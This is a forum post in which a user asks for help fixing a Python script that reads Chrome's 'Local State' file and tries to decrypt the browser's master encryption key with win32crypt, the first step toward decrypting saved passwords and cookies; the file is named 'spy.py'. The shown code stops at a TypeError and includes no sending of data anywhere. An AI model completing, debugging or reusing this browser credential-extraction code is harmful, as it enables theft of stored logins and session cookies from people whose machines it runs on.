[Python] No matter what I do, this error won't go away

Discussão em 'Python' iniciado por Stack, Julho 12, 2025.

  1. Stack

    Stack Membro Participativo

    Does anyone know what's wrong with this code?

    import os
    import json
    import base64
    import sqlite3
    import shutil
    import win32crypt
    from Crypto.Cipher import AES

    file_path = os.environ["USERPROFILE"] + r"\AppData\Local\Google\Chrome\User Data\Local State"
    print(file_path)

    with open(file_path, 'r', encoding="utf8") as f:
    json_data = f.read()
    py_data = json.loads(json_data)

    encryption_key = base64.b64decode(py_data["os_crypt"]["encrypted_key"])[5:]

    key = win32crypt.CryptUnprotectData(encryption_key)
    print(key)


    Error:

    Traceback (most recent call last):
    File "P:\PycharmProjects\Exercises\spy\spy.py", line 72, in <module>
    key = win32crypt.CryptUnprotectData(encryption_key)
    TypeError: CryptUnprotectData() takes no arguments

    Continue reading...

Compartilhe esta Página